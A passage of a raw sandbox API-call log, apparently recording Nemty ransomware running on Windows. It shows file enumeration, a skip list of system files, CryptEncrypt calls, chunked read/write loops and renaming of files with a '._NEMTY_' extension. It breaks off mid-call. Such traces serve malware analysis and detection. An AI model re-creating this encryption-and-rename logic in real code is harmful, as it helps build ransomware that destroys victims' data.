[0052.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0052.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0052.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0052.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0052.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0052.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0052.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0052.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.054] CloseHandle (hObject=0xffffffff) returned 0 [0053.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94378 [0053.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0053.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.055] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0053.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.055] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.055] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".") returned 1 [0053.055] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="..") returned 1 [0053.055] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="...") returned 1 [0053.055] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="windows") returned -1 [0053.055] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0053.055] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="rsa") returned -1 [0053.055] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="IO.SYS") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="boot.ini") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="boot.ini") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="desktop.ini") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="bootmgr") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="programdata") returned -1 [0053.056] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="appdata") returned -1 [0053.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0053.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0053.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 40 [0053.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f942d0 [0053.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0053.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 40 [0053.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0053.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0053.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0053.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 40 [0053.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0053.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0053.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0053.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x6345640, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 40 [0053.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942d0 [0053.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0053.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f941c0 [0053.057] Sleep (dwMilliseconds=0x5) [0053.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd3474a70, dwHighDateTime=0x1d561e7)) [0053.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd3474a70, dwHighDateTime=0x1d561e7)) [0053.069] GetLastError () returned 0x5 [0053.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.069] GetLastError () returned 0x5 [0053.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.069] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0053.069] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0053.069] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0053.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0053.069] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="3SCmndh6ymIBnnVLcfVnXY1OGfye924QryayvuCrWE78wYeWj2O/BhHImpQDuJwh\r\nGNbEu0KO8ZszgXWnSQxwvKAdWVuJdhh3YY8XNAJfMk9NKJ6sD5E6DYYr7jS9VLdd\r\nBHY5ELgQiYLUubtLJ1neVaEoDTGVYXVKMwEc4iqT4HHYQcEkSAczLxIfT3nogyJN\r\n8xNXYlMH/XVG2BpcM5cUOweL3QMtpTFNR591og+di5IikCoIBjehoeP7bEHP9Edx\r\nhbdaz8W5zZ6CVOsyu1d46gEd5DhhQ8E6l1NKxIvwqG7cVXe0kcDsbScNGrpQVmUZ\r\n4KmEmWfnYXPm9cuLHNthLA==\r\n", pcchString=0x653ec5c) returned 1 [0053.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0053.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0053.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0053.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0053.070] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.070] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0053.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0053.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.108] WriteFile (in: 